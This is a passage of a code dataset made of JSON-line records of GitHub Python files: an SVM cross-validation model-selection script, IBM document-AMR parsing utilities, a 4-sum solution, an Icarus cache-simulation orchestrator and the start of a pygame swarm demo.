\"LABEL_Heartrate\"]\r\n\r\nn_fold = 5\r\nkf = KFold(n_splits = n_fold) \r\n\r\nmodel_col = []\r\nfor m in tests_to_predict + sepsis + vital_signs_to_predict:\r\n model_col.append(m + \"_kernel\")\r\n model_col.append(m + \"_xhi\")\r\n \r\nmodel = pd.DataFrame(index = {0}, columns = model_col)\r\n#model = pd.read_csv(\"modelselection.csv\")\r\n\r\nscore_col = tests_to_predict + sepsis + vital_signs_to_predict\r\nrocauc = pd.DataFrame(index = {0}, columns = score_col)\r\n\r\n# Subtask 1 and 2\r\nfor test in tests_to_predict + sepsis:\r\n if(rocauc[test].isna().sum() == 0): continue\r\n print(test, \"started\")\r\n exp_min = -3\r\n exp_max = 2\r\n xhi = 10**exp_min\r\n j = 0\r\n avg_roc_auc_score_rbf = []\r\n avg_roc_auc_score_poly = []\r\n \r\n while xhi <= 10**exp_max:\r\n clf_rbf = SVC(C = xhi, kernel = 'rbf', class_weight = 'balanced', cache_size = 1000, probability = True)\r\n clf_poly = SVC(C = xhi, kernel = 'poly', class_weight = 'balanced', cache_size = 1000, probability = True)\r\n avg_roc_auc_score_rbf.append(0)\r\n avg_roc_auc_score_poly.append(0)\r\n \r\n fold = 0\r\n for train_pid, val_pid in kf.split(all_pids):\r\n fold += 1\r\n print(\"Fold = \", fold)\r\n X_train, X_val = X_feat[X_feat[\"pid\"].isin(train_pid)], X_feat[X_feat[\"pid\"].isin(val_pid)]\r\n y_train, y_val = train_labels[train_labels[\"pid\"].isin(train_pid)].get(test), train_labels[train_labels[\"pid\"].isin(val_pid)].get(test)\r\n X_train = X_train.drop(\"pid\", axis = 1)\r\n X_val = X_val.drop(\"pid\", axis = 1)\r\n \r\n # RBF\r\n clf_rbf.fit(X_train, y_train)\r\n predict = clf_rbf.predict_proba(X_val)\r\n avg_roc_auc_score_rbf[j] += metrics.roc_auc_score(y_val, predict[:,1]) \r\n \r\n print(\"RBF done\")\r\n \r\n # Poly \r\n clf_poly.fit(X_train, y_train)\r\n predict = clf_poly.predict_proba(X_val)\r\n avg_roc_auc_score_poly[j] += metrics.roc_auc_score(y_val, predict[:,1])\r\n \r\n print(\"Poly done\")\r\n \r\n avg_roc_auc_score_rbf[j] /= n_fold\r\n avg_roc_auc_score_poly[j] /= n_fold\r\n print(\"xhi = \", xhi) \r\n print(\"avg_roc_auc_score_rbf = \", avg_roc_auc_score_rbf)\r\n print(\"avg_roc_auc_score_poly = \", avg_roc_auc_score_poly)\r\n \r\n xhi *= 10\r\n j += 1\r\n \r\n xhi_rbf_best = avg_roc_auc_score_rbf.index(np.max(avg_roc_auc_score_rbf))\r\n max_auc_rbf = np.max(avg_roc_auc_score_rbf)\r\n xhi_poly_best = avg_roc_auc_score_poly.index(np.max(avg_roc_auc_score_poly))\r\n max_auc_poly = np.max(avg_roc_auc_score_poly)\r\n print(\"optimal xhi of rbf: \", max_auc_rbf, \" at \", xhi_rbf_best)\r\n print(\"optimal xhi of poly: \", max_auc_poly, \" at \", xhi_poly_best)\r\n \r\n if(max_auc_rbf > max_auc_poly):\r\n kernel = \"rbf\"\r\n xhi_best = 10**(exp_min + xhi_rbf_best)\r\n else:\r\n kernel = \"poly\"\r\n xhi_best = 10**(exp_min + xhi_poly_best)\r\n \r\n # save best strategy in df model\r\n m = pd.DataFrame(data = [[kernel, xhi_best]], columns = [test + \"_kernel\", test + \"_xhi\"])\r\n model.update(m)\r\n \r\n # save best ROC AUC value in df rocauc (for manual review)\r\n r = pd.DataFrame(index = {0}, data = {test: np.max([max_auc_rbf, max_auc_poly])})\r\n rocauc.update(r)\r\n \r\n pd.DataFrame(model).to_csv(\"modelselection.csv\", index=False, header=True)\r\n pd.DataFrame(rocauc).to_csv(\"ROCAUC.csv\", index=False, header=True) \r\n print(test, \" finished\")\r\n \r\n# Subtask 3\r\nfor sign in vital_signs_to_predict:\r\n if(rocauc[sign].isna().sum() == 0): continue\r\n print(sign, \"started\")\r\n exp_min = -3\r\n exp_max = 2\r\n xhi = 10**exp_min\r\n j = 0\r\n avg_score_rbf = []\r\n avg_score_poly = []\r\n while xhi <= 10**exp_max:\r\n reg_rbf = SVR(C = xhi, kernel = 'rbf', cache_size = 1000)\r\n reg_poly = SVR(C = xhi, kernel = 'poly', cache_size = 1000)\r\n avg_score_rbf.append(0)\r\n avg_score_poly.append(0)\r\n \r\n fold = 0\r\n for train_pid, val_pid in kf.split(all_pids):\r\n fold += 1\r\n print(\"Fold = \", fold)\r\n X_train, X_val = X_feat[X_feat[\"pid\"].isin(train_pid)], X_feat[X_feat[\"pid\"].isin(val_pid)]\r\n y_train, y_val = train_labels[train_labels[\"pid\"].isin(train_pid)].get(sign), train_labels[train_labels[\"pid\"].isin(val_pid)].get(sign)\r\n X_train = X_train.drop(\"pid\", axis = 1)\r\n X_val = X_val.drop(\"pid\", axis = 1)\r\n \r\n # RBF\r\n reg_rbf.fit(X_train, y_train)\r\n predict = reg_rbf.predict(X_val)\r\n avg_score_rbf[j] += metrics.r2_score(y_val, predict) \r\n \r\n print(\"RBF done\")\r\n \r\n # Poly \r\n reg_poly.fit(X_train, y_train)\r\n predict = reg_poly.predict(X_val)\r\n avg_score_poly[j] += metrics.r2_score(y_val, predict) \r\n \r\n print(\"Poly done\")\r\n \r\n avg_score_rbf[j] /= n_fold\r\n avg_score_poly[j] /= n_fold\r\n print(\"xhi = \", xhi) \r\n print(\"avg_score_rbf = \", avg_score_rbf)\r\n print(\"avg_score_poly = \", avg_score_poly)\r\n \r\n xhi *= 10\r\n j += 1\r\n \r\n xhi_rbf_best = avg_score_rbf.index(np.max(avg_score_rbf))\r\n max_rbf = np.max(avg_score_rbf)\r\n xhi_poly_best = avg_score_poly.index(np.max(avg_score_poly))\r\n max_poly = np.max(avg_score_poly)\r\n print(\"optimal xhi of rbf: \", max_rbf, \" at \", xhi_rbf_best)\r\n print(\"optimal xhi of poly: \", max_poly, \" at \", xhi_poly_best)\r\n \r\n \r\n if(max_rbf > max_poly):\r\n kernel = \"rbf\"\r\n xhi_best = 10**(exp_min + xhi_rbf_best)\r\n else:\r\n kernel = \"poly\"\r\n xhi_best = 10**(exp_min + xhi_poly_best)\r\n \r\n # save best strategy in df model\r\n m = pd.DataFrame(data = [[kernel, xhi_best]], columns = [sign + \"_kernel\", sign + \"_xhi\"])\r\n model.update(m)\r\n \r\n # save best score value in df rocauc (for manual review)\r\n r = pd.DataFrame(index = {0}, data = {sign: np.max([max_rbf, max_poly])})\r\n rocauc.update(r)\r\n \r\n pd.DataFrame(model).to_csv(\"modelselection.csv\", index=False, header=True)\r\n pd.DataFrame(rocauc).to_csv(\"ROCAUC.csv\", index=False, header=True) \r\n print(sign, \" finished\") \r\n \r\n##################################\r\n# Model training and predictions #\r\n##################################\r\npredictions = pd.DataFrame(index = all_pids_test, data = {\"pid\": all_pids_test}, columns = list(train_labels))\r\nfor test in tests_to_predict + sepsis:\r\n if(predictions[test].isna().sum() == 0): continue\r\n print(test, \"started\")\r\n kernel = list(model[test + \"_kernel\"])[0]\r\n xhi = list(model[test + \"_xhi\"])[0]\r\n X = X_feat.drop(\"pid\", axis = 1)\r\n Y = train_labels.get(test)\r\n clf = SVC(C = xhi, kernel = kernel, class_weight = 'balanced', cache_size = 500, probability = True)\r\n clf.fit(X, Y)\r\n predict = pd.DataFrame(index = all_pids_test, data = np.round(clf.predict_proba(Test_feat.drop(\"pid\", axis = 1)), 3)[:,1], columns = [test])\r\n predictions.update(predict)\r\n print(test, \"finished\")\r\n\r\nfor sign in vital_signs_to_predict:\r\n if(predictions[sign].isna().sum() == 0): continue\r\n print(sign, \"started\")\r\n kernel = list(model[test + \"_kernel\"])[0]\r\n xhi = list(model[test + \"_xhi\"])[0]\r\n reg = SVR(C = xhi, kernel = kernel, cache_size = 500)\r\n reg.fit(X_feat.drop(\"pid\", axis = 1), train_labels[sign])\r\n predict = pd.DataFrame(index = all_pids_test, data = np.round(reg.predict(Test_feat.drop(\"pid\", axis = 1)), 3), columns = [sign])\r\n predictions.update(predict)\r\n print(sign, \"finished\")\r\n \r\n# save predictions df \r\npredictions.to_csv(\"submit.csv\", index=False, header=True) \r\n\r\n\"\"\"\r\nclf = SVC(C = xhi_best, kernel = kernel, class_weight = 'balanced')\r\nclf.fit(X_feat, train_labels[\"LABEL_BaseExcess\"])\r\nalpha = clf.decision_function(X_feat)\r\n\r\n###########\r\n# Predict #\r\n###########\r\n\r\ndef sigmoid(x):\r\n return 1 / (1 + np.exp(-x))\r\n\r\ngamma2 = (1/(np.size(features)-1))**2\r\npredicted = []\r\nfor t_pid in Test_feat[\"pid\"]:\r\n y = y_val[y_val.pid == t_pid].get(\"LABEL_BaseExcess\")\r\n t = np.array(Test_feat[Test_feat.pid == t_pid].drop(\"pid\", axis = 1))\r\n #compute kernels\r\n k = []\r\n for x_pid in X_feat[\"pid\"]:\r\n x = np.array(X_feat[X_feat.pid == x_pid].drop(\"pid\", axis = 1))\r\n euc_dist = np.linalg.norm(x - t)\r\n rbf = math.exp(-euc_dist**2 * gamma2)\r\n k.append(y*rbf)\r\n \r\n predicted.append(sigmoid(np.dot(alpha, k)))\r\n\r\n##############\r\n# Testground #\r\n##############\r\nx_train, x_val, y_train, y_val = train_test_split(X_feat, train_labels[[\"pid\", \"LABEL_BaseExcess\"]], train_size= 0.8)\r\nclf = SVC(C = xhi_best, kernel = kernel, class_weight = 'balanced', cache_size = 1000)\r\nclf.fit(x_train.drop(\"pid\", axis = 1), y_train.drop(\"pid\", axis = 1))\r\nalpha = clf.decision_function(x_train.drop(\"pid\", axis = 1))\r\n\r\nprint(np.mean(metrics.roc_auc_score(y_val.drop(\"pid\", axis = 1), predicted)))\r\n\"\"\"","repo_name":"Karko93/Projects-Introduction-to-Machine-Learning","sub_path":"Task2/Task2_automated.py","file_name":"Task2_automated.py","file_ext":"py","file_size_in_byte":15162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41870779295","text":"import re\nimport xml.etree.ElementTree as ET\nfrom tqdm import tqdm\nimport penman\nfrom penman.layout import Push\nimport copy\nfrom penman import surface\nfrom collections import Counter, defaultdict\nfrom transition_amr_parser.clbar import yellow_font\nfrom amr_io import AMR\nfrom ipdb import set_trace\nfrom copy import deepcopy\nfrom transition_amr_parser.amr import protected_tokenizer\nalignment_regex = re.compile('(-?[0-9]+)-(-?[0-9]+)')\ndef read_amr_penman(penman_strs):\n amrs = {}\n for penman_str in penman_strs:\n amr = AMR.from_penman(penman_str)\n amrs[amr.amr_id] = amr\n return amrs\n\ndef read_amr_add_sen_id(file_path,doc_id=None,add_id=False):\n with open(file_path) as fid:\n raw_amr = []\n raw_amrs = {}\n for line in tqdm(fid.readlines(), desc='Reading AMR'):\n if line.strip() == '':\n \n # From ::node, ::edge etc\n amr = AMR.from_metadata(raw_amr)\n \n raw_amrs[amr.sid] = amr\n raw_amr = []\n else:\n raw_amr.append(line)\n if add_id and '::id' in line:\n continue\n\n if '::tok' in line and add_id:\n raw_amr.append('# ::id '+doc_id+'.'+str(len(raw_amrs)+1))\n # elif '::snt' in line and add_id:\n # raw_amr.append('# ::id '+doc_id+'.'+str(len(raw_amrs)+1))\n \n\n return raw_amrs\n\ndef read_amr_metadata(penman_strs,doc_id=None,add_id=False):\n amrs = {}\n for idx,penman_str in enumerate(penman_strs):\n p_strs = penman_str.split('\\n')\n if add_id:\n p_strs = ['# ::id '+doc_id+'.'+str(idx)+'\\n']+p_strs\n\n amr = AMR.from_metadata(p_strs)\n if amr is not None:\n if add_id:\n assert doc_id is not None, \"provide doc id to add id to amr\"\n amr.id = doc_id+'.'+str(idx)\n amr.amr_id = doc_id+'.'+str(idx)\n amrs[doc_id+'.'+str(idx)] = amr\n\n else:\n amrs[amr.amr_id] = amr\n return amrs\n\ndef read_amr3(file_path):\n with open(file_path) as fid:\n raw_amr = []\n raw_amrs = {}\n for line in tqdm(fid.readlines(), desc='Reading AMR'):\n if line.strip() == '':\n \n # From ::node, ::edge etc\n amr = AMR.from_metadata(raw_amr)\n raw_amrs[amr.sid] = amr\n raw_amr = []\n else:\n raw_amr.append(line)\n return raw_amrs\n\n\n\ndef get_all_vars(penman_str):\n in_quotes = False\n all_vars = []\n for (i,ch) in enumerate(penman_str):\n if ch == '\"':\n if in_quotes:\n in_quotes = False\n else:\n in_quotes = True\n if in_quotes:\n continue\n if ch == '(':\n var = ''\n j = i+1\n while j < len(penman_str) and penman_str[j] not in [' ','\\n']:\n var += penman_str[j]\n j += 1\n all_vars.append(var)\n return all_vars\n\n\ndef get_node_var(penman_str, node_id):\n \"\"\"\n find node variable based on ids like 0.0.1\n \"\"\"\n nid = '99990.0.0.0.0.0.0'\n cidx = []\n lvls = []\n all_vars = get_all_vars(penman_str)\n in_quotes = False\n for (i,ch) in enumerate(penman_str):\n if ch == '\"':\n if in_quotes:\n in_quotes = False\n else:\n in_quotes = True\n if in_quotes:\n continue\n\n if ch == \":\":\n idx = i\n while idx < len(penman_str) and penman_str[idx] != ' ':\n idx += 1\n if idx+1 < len(penman_str) and penman_str[idx+1] != '(':\n var = ''\n j = idx+1\n while j < len(penman_str) and penman_str[j] not in [' ','\\n']:\n var += penman_str[j]\n j += 1\n if var not in all_vars:\n lnum = len(lvls)\n if lnum >= len(cidx):\n cidx.append(1)\n else:\n cidx[lnum] += 1 \n if ch == '(':\n lnum = len(lvls)\n if lnum >= len(cidx):\n cidx.append(0)\n lvls.append(str(cidx[lnum]))\n \n if ch == ')':\n lnum = len(lvls)\n if lnum < len(cidx):\n cidx.pop()\n cidx[lnum-1] += 1\n lvls.pop()\n\n if \".\".join(lvls) == node_id:\n j = i+1\n while penman_str[j] == ' ':\n j += 1\n var = \"\"\n while penman_str[j] != ' ':\n var += penman_str[j]\n j += 1\n return var\n\n return None\n\ndef from_metadata(penman_text, tokenize=False):\n \"\"\"Read AMR from metadata (IBM style)\"\"\"\n\n # Read metadata from penman\n field_key = re.compile(f'::[A-Za-z]+')\n metadata = defaultdict(list)\n separator = None\n penman_str = \"\"\n for line in penman_text:\n if line.startswith('#'):\n line = line[2:].strip()\n start = 0\n for point in field_key.finditer(line):\n end = point.start()\n value = line[start:end]\n if value:\n metadata[separator].append(value)\n separator = line[end:point.end()][2:]\n start = point.end()\n value = line[start:]\n if value:\n metadata[separator].append(value)\n else:\n penman_str += line.strip() + ' ' \n \n # assert 'tok' in metadata, \"AMR must contain field ::tok\"\n if tokenize:\n assert 'snt' in metadata, \"AMR must contain field ::snt\"\n tokens, _ = protected_tokenizer(metadata['snt'][0])\n else:\n assert 'tok' in metadata, \"AMR must contain field ::tok\"\n assert len(metadata['tok']) == 1\n tokens = metadata['tok'][0].split()\n\n #print(penman_str)\n \n sid=\"000\"\n nodes = {}\n nvars = {}\n alignments = {}\n edges = []\n root = None\n sentence_ends = []\n\n if 'short' in metadata:\n short_str = metadata[\"short\"][0].split('\\t')[1]\n short = eval(short_str)\n short = {str(k):v for k,v in short.items()}\n all_vars = list(short.values())\n else:\n short = None\n all_vars = get_all_vars(penman_str)\n \n for key, value in metadata.items():\n if key == 'edge':\n for items in value:\n items = items.split('\\t')\n if len(items) == 6:\n _, _, label, _, src, tgt = items\n edges.append((src, f':{label}', tgt))\n elif key == 'node':\n for items in value:\n items = items.split('\\t')\n if len(items) > 3:\n _, node_id, node_name, alignment = items\n start, end = alignment_regex.match(alignment).groups()\n indices = list(range(int(start), int(end)))\n alignments[node_id] = indices\n else:\n _, node_id, node_name = items\n alignments[node_id] = None\n nodes[node_id] = node_name\n if short is not None:\n var = short[node_id]\n else:\n var = get_node_var(penman_str, node_id)\n if var is not None and var+\" / \" not in penman_str:\n nvars[node_id] = None\n else:\n nvars[node_id] = var\n if var != None:\n all_vars.remove(var)\n elif key == 'root':\n root = value[0].split('\\t')[1]\n elif key == 'id':\n sid = value[0].strip()\n elif key == 'sentence_ends':\n sentence_ends = value.split()\n sentence_ends = [int(x) for x in sentence_ends]\n\n if len(all_vars):\n print(\"varaible not linked to nodes:\")\n print(all_vars)\n print(penman_str)\n \n if len(nodes)==0 and len(edges)==0:\n return None\n\n return AMR(tokens, nodes, edges, root, penman=None,\n alignments=alignments, nvars=nvars, id=sid,sentence_ends=sentence_ends)\n\ndef fix_alignments(amr,removed_idx):\n for node_id,align in amr.alignments.items():\n if align is not None:\n num_decr = len([rm for rm in removed_idx if align[0]>rm])\n if num_decr>0:\n lst = [x-num_decr for x in align]\n amr.alignments[node_id] = lst \n\n\ndef get_sen_ends(amr):\n amr.sentence_ends = []\n removed_idx = []\n new_tokens = []\n for idx,tok in enumerate(amr.tokens):\n if tok=='':\n removed_idx.append(idx)\n elif tok=='':\n amr.sentence_ends.append(len(new_tokens)-1)\n removed_idx.append(idx)\n \n else:\n new_tokens.append(tok)\n amr.sentence_ends.append(len(new_tokens)-1)\n amr.tokens = new_tokens\n fix_alignments(amr,removed_idx)\n\ndef remove_unicode(amr):\n for idx,tok in enumerate(amr.tokens):\n new_tok = tok.encode(\"ascii\", \"ignore\")\n amr.tokens[idx] = new_tok.decode()\n if amr.tokens[idx]=='':\n amr.tokens[idx]='.'\n\n\n\ndef recent_member_by_sent(chain,sid,doc_id):\n def get_sid_fromstring(string):\n \n sid = [int(s) for s in re.findall(r'\\d+', string)]\n assert len(sid)==1\n return sid[0]\n\n sid = get_sid_fromstring(sid) \n diff = lambda chain : abs(get_sid_fromstring(chain[0].split('.')[0]) - sid)\n ent = min(chain, key=diff)\n fix = False\n if get_sid_fromstring(ent[0].split('.')[0]) > sid:\n # print(doc_id,\" closest sent is higher than connecting node \",ent[0],sid)\n fix = True\n return ent[0]\n\n \n\ndef recent_member_by_align(chain,src_align,doc_id,rel=None):\n \n diff = lambda chain : abs(chain[1]-src_align)\n ent = min(chain, key=diff)\n fix = False\n if ent[1]>= src_align:\n # print(doc_id,\" coref edge missing \",ent[1],src_align,rel)\n fix = True \n return ent[0]\n\n#convert v0 coref edge to connect to most recent sibling in the chain\ndef make_pairwise_edges(damr,verbose=False):\n \n ents_chain = defaultdict(list)\n edges_to_delete = []\n nodes_to_delete = []\n doc_id = damr.amr_id\n # damr.edges.sort(key = lambda x: x[0])\n for idx,e in enumerate(damr.edges):\n if e[1] == ':coref-of':\n # if len(ents[e[2]])==0:\n #damr.edges[idx] = (e[0],':same-as',ents[e[2]][-1])\n # else:\n edges_to_delete.append(e)\n\n if e[0] in damr.alignments and damr.alignments[e[0]] is not None:\n ents_chain[e[2]].append((e[0],damr.alignments[e[0]][0]))\n else:\n #FIXME adding the src node of a coref edge with no alignments member of chain with closest sid\n # print(doc_id + ' ',e[0],' alignments is None src node in coref edge, not adding it ')\n sid = e[0].split('.')[0]\n if len(ents_chain[e[2]]) >0 :\n ent = recent_member_by_sent(ents_chain[e[2]],sid,doc_id)\n damr.edges[idx] = (e[0],':same-as',ent)\n #FIXME\n else:\n \n print(\"coref edge missing, empty chain, edge not added\")\n \n assert e[2].startswith('rel')\n \n\n \n #adding coref edges between most recent sibling in chain \n for cents in ents_chain.values():\n cents.sort(key=lambda x:x[1])\n for idx in range(0,len(cents)-1):\n damr.edges.append((cents[idx+1][0],':same-as',cents[idx][0]))\n\n for e in edges_to_delete:\n while e in damr.edges:\n damr.edges.remove(e)\n\n #connecting all other edges involving chain to most recent member in the chain\n for idx,e in enumerate(damr.edges):\n #Both src and target are coref nodes\n if e[0] in ents_chain and e[2] in ents_chain:\n damr.edges[idx] = (ents_chain[e[0]][-1][0],e[1],ents_chain[e[2]][-1][0])\n \n elif e[2] in ents_chain.keys():\n #src node is a normal amr node\n if e[0] in damr.alignments and damr.alignments[e[0]] is not None:\n ent = recent_member_by_align(ents_chain[e[2]],damr.alignments[e[0]][0],doc_id,e[1])\n \n else:\n #FIXME assigning src node with no alignments to the recent member by sent in the coref chain\n # print(doc_id + ' ',e[0],' alignments is None ')\n sid = e[0].split('.')[0]\n ent = recent_member_by_sent(ents_chain[e[2]],sid,doc_id)\n damr.edges[idx] = (e[0],e[1],ent)\n\n elif e[0] in ents_chain.keys():\n if e[2] in damr.alignments and damr.alignments[e[2]] is not None:\n ent = recent_member_by_align(ents_chain[e[0]],damr.alignments[e[2]][0],doc_id,e[1])\n else:\n #FIXME assigning tgt node with no alignments to the recent member by sent in the coref chain\n # print(doc_id + ' ',e[0],' alignments is None ')\n sid = e[2].split('.')[0]\n ent = recent_member_by_sent(ents_chain[e[0]],sid,doc_id)\n \n damr.edges[idx] = (ent,e[1],e[2])\n\n \n for n in ents_chain.keys():\n while n in damr.nodes:\n del damr.nodes[n]\n \n \n \n return damr\n\n\n","repo_name":"IBM/transition-amr-parser","sub_path":"scripts/doc-amr/docamr_utils.py","file_name":"docamr_utils.py","file_ext":"py","file_size_in_byte":13522,"program_lang":"python","lang":"en","doc_type":"code","stars":216,"dataset":"github-code","pt":"48"} +{"seq_id":"14096158077","text":"def four_sum(arr, target):\n n = len(arr)\n\n if n < 4:\n return []\n\n sums = dict()\n results = []\n \n for i in range(n):\n for j in range(i + 1, n):\n current_sum = arr[i] + arr[j]\n\n remaining = target - current_sum\n if remaining in sums:\n for pair in sums[remaining]:\n if i not in pair and j not in pair: # check if pairs are disjoint\n quad = [arr[pair[0]], arr[pair[1]], arr[i], arr[j]]\n quad.sort() # sort to handle duplicates\n if quad not in results:\n results.append(quad)\n \n if current_sum not in sums:\n sums[current_sum] = [(i, j)]\n else:\n sums[current_sum].append((i, j))\n\n return results\n\nnums = [1,0,-1,0,-2,2]\ntarget = 0\nfour_sum(nums, target)\n","repo_name":"dvc0310/Interview-prep-stuff","sub_path":"leetcode/4sum.py","file_name":"4sum.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13812338716","text":"\"\"\"Contains the code that orchestrates the execution of all experiments.\n\nThe orchestrator is responsible for designing experiments with all combinations\nof parameters specified in the user-provided settings, schedule experiment\nexecution on various\n\"\"\"\nfrom __future__ import division\nimport time\nimport collections\nimport multiprocessing as mp\nimport logging\nimport sys\nimport signal\n\nfrom icarus.execution import exec_experiment\nfrom icarus.scenarios import uniform_req_gen\nfrom icarus.registry import topology_factory_register, cache_policy_register, \\\n strategy_register, data_collector_register\nfrom icarus.results import ResultSet\nfrom icarus.util import timestr\n\n\n__all__ = ['Orchestrator', 'run_scenario']\n\n\nlogger = logging.getLogger('orchestration')\n\n\nclass Orchestrator(object):\n \"\"\"Orchestrator.\n \n It is responsible for orchestrating the execution of all experiments and\n aggregate results.\n \"\"\"\n\n def __init__(self, settings, summary_freq=4):\n \"\"\"Constructor\n \n Parameters\n ----------\n settings : Settings\n The settings of the simulator\n summary_freq : int\n Frequency (in number of experiment) at which summary messages\n are displayed\n \"\"\"\n self.settings = settings\n self.results = ResultSet()\n self.seq = SequenceNumber()\n self.exp_durations = collections.deque(maxlen=30)\n self.summary_freq = summary_freq\n self._stop = False\n if settings.PARALLEL_EXECUTION:\n self.pool = mp.Pool(settings.N_PROCESSES)\n \n def stop(self):\n \"\"\"Stop the execution of the orchestrator\n \"\"\"\n logger.info('Orchestrator is stopping')\n self._stop = True\n if self.settings.PARALLEL_EXECUTION:\n self.pool.terminate()\n self.pool.join()\n \n def run(self):\n \"\"\"Run the orchestrator.\n \n This call is blocking, whether multiple processes are used or not. This\n methods returns only after all experiments are executed.\n \"\"\"\n # Create queue of experiment configurations\n if 'EXPERIMENT_QUEUE' in self.settings and self.settings.EXPERIMENT_QUEUE:\n queue = collections.deque(self.settings.EXPERIMENT_QUEUE)\n else:\n queue = collections.deque()\n n_contents = self.settings.N_CONTENTS\n for topology_name in self.settings.TOPOLOGIES:\n for network_cache in self.settings.NETWORK_CACHE:\n for alpha in self.settings.ALPHA:\n for strategy_name in self.settings.STRATEGIES:\n params = dict(alpha=alpha,\n topology_name=topology_name,\n network_cache=network_cache,\n strategy_name=strategy_name,\n n_contents=n_contents,\n strategy_params={})\n queue.append(params)\n # Calc number of experiments nad number of processes\n self.n_exp = len(queue) * self.settings.N_REPLICATIONS \n self.n_proc = self.settings.N_PROCESSES \\\n if self.settings.PARALLEL_EXECUTION \\\n else 1\n logger.info('Starting simulations: %d experiments, %d process(es)' \n % (self.n_exp, self.n_proc))\n # Schedule experiments from the queue\n while queue:\n experiment = queue.popleft()\n for _ in range(self.settings.N_REPLICATIONS):\n if self.settings.PARALLEL_EXECUTION:\n last_job = self.pool.apply_async(run_scenario,\n args=(self.settings, experiment,\n self.seq.assign(), self.n_exp),\n callback=self.experiment_callback)\n else:\n self.experiment_callback(run_scenario(self.settings, \n experiment, self.seq.assign(),\n self.n_exp))\n if self._stop:\n self.stop()\n \n # If parallel execution, wait for all processes to terminate\n if self.settings.PARALLEL_EXECUTION:\n self.pool.close()\n # This solution is not optimal, but at least makes KeyboardInterrupt\n # work fine, which is crucial if launching the simulation remotely\n # via screen.\n # What happens here is that we keep waiting for possible\n # KeyboardInterrupts till the last scheduled process terminates\n # successfully. The last scheduled process is not necessarily the last\n # finishing one but nothing bad is going to happen in such case, it\n # will only not be possible interrupting the simulation between the\n # last scheduled process ends and the last ending process ends, which\n # is likely a matter of seconds.\n try:\n while not last_job.ready(): time.sleep(5)\n except KeyboardInterrupt:\n self.pool.terminate()\n self.pool.join()\n return\n self.pool.join()\n \n \n def experiment_callback(self, args):\n \"\"\"Callback method called by run_scenario\n \n Parameters\n ----------\n args : tuple\n Tuple of arguments\n \"\"\"\n # Extract parameters\n params, results, seq, duration = args\n # Store results\n self.results.add((params, results))\n self.exp_durations.append(duration)\n if seq % self.summary_freq == 0:\n # Number of experiments scheduled to be executed\n n_scheduled = self.n_exp - seq\n # Compute ETA\n n_cores = min(mp.cpu_count(), self.n_proc)\n mean_duration = sum(self.exp_durations)/len(self.exp_durations)\n eta = timestr(n_scheduled*mean_duration/n_cores, False)\n # Print summary\n logger.info('SUMMARY | Completed: %d, Scheduled: %d, ETA: %s', \n seq, n_scheduled, eta)\n \n\nclass SequenceNumber(object):\n \"\"\"This class models an increasing sequence number.\n \n It is used to assign a sequence number for an experiment in a thread-safe\n manner.\n \"\"\"\n \n def __init__(self, initval=1):\n \"\"\"Constructor\n \n Parameters\n ----------\n initval :int, optional\n The starting sequence number\n \"\"\"\n self.__seq = initval - 1\n \n def assign(self):\n \"\"\"Assigns a new sequence number.\n \n Returns\n -------\n seq : int\n The sequence number\n \"\"\"\n self.__seq += 1\n seq = self.__seq\n return seq\n \n def current(self):\n \"\"\"Return the latest sequence number assigned\n \n Returns\n -------\n seq : int\n The latest assigned sequence number\n \"\"\"\n return self.__seq\n\n\ndef run_scenario(settings, params, curr_exp, n_exp):\n \"\"\"Run a single scenario experiment\n \n Parameters\n ----------\n settings : Settings\n The simulator settings\n params : dict\n Dictionary of parameters\n curr_exp : int\n sequence number of the experiment\n n_exp : int\n Number of scheduled experiments\n \n Returns\n -------\n results : 2-tuple\n A 2-tuple of dictionaries. The first dict stores all the attributes of\n the experiment. The second dict stores the results.\n \"\"\"\n try:\n start_time = time.time()\n proc_name = mp.current_process().name\n logger = logging.getLogger('runner-%s' % proc_name)\n \n alpha = params['alpha']\n topology_name = params['topology_name']\n network_cache = params['network_cache']\n strategy_name = params['strategy_name']\n n_contents = params['n_contents']\n strategy_params = params['strategy_params']\n cache_policy = params['cache_policy'] if 'cache_policy' in params \\\n and params['cache_policy'] is not None \\\n else settings.CACHE_POLICY\n metrics = settings.DATA_COLLECTORS\n \n ## MT add\n log_dir = settings.LOG_DIR\n scenario_id = 'T=%s-C=%s-A=%s-S=%s-Run=%s' % (topology_name, str(network_cache), str(alpha), strategy_name, str(n_exp))\n \n scenario = \"%s, %s, alpha: %s, netcache: %s\" % (topology_name, strategy_name, str(alpha), str(network_cache))\n logger.info('Experiment %d/%d | Preparing scenario: %s', curr_exp, n_exp, scenario)\n \n # Check parameters\n if topology_name not in topology_factory_register:\n logger.error('No topology factory implementation for %s was found.' % topology_name)\n return None\n if cache_policy not in cache_policy_register:\n logger.error('No implementation of cache policy %s was found.' % cache_policy)\n return None\n if strategy_name not in strategy_register:\n logger.error('No implementation of strategy %s was found.' % strategy_name)\n return None\n if any(m not in data_collector_register for m in metrics):\n logger.error('There are no implementations for at least one data collector specified')\n return None\n \n # Get topology and event generator\n topology = topology_factory_register[topology_name](network_cache, n_contents) \n events = uniform_req_gen(topology, n_contents, alpha, \n rate=settings.NETWORK_REQUEST_RATE,\n n_warmup=settings.N_WARMUP_REQUESTS,\n n_measured=settings.N_MEASURED_REQUESTS)\n topology.graph['cache_policy'] = cache_policy\n \n collectors = [(m, {}) for m in metrics]\n strategy = (strategy_name, strategy_params)\n logger.info('Experiment %d/%d | Start simulation', curr_exp, n_exp)\n results = exec_experiment(topology, events, strategy, collectors)\n duration = time.time() - start_time\n logger.info('Experiment %d/%d | End simulation | Duration %s.', \n curr_exp, n_exp, timestr(duration, True))\n return (params, results, curr_exp, duration)\n except KeyboardInterrupt:\n logger.error('Received keyboard interrupt. Terminating')\n sys.exit(-signal.SIGINT)\n","repo_name":"Estoque86/Icaus_New","sub_path":"icarus/orchestration.py","file_name":"orchestration.py","file_ext":"py","file_size_in_byte":10639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1971806136","text":"'''\nSwarm behavior is made of simple blocks e.g. termites, ants, me as a cashier (back when..)\n\n1 collision avoidance\n2 maintaining velocity of neighbors\n3 staying in proximity of neighbors\n\nWith that in mind, lets see it in pygame\n'''\n\nimport pygame, sys\nfrom pygame.locals import *\nimport numpy as np\nimport random\nfrom math import sqrt\n\npygame.init()\n\nBLACK = ( 0, 0, 0)\nWHITE = (255, 255, 255)\nRED = 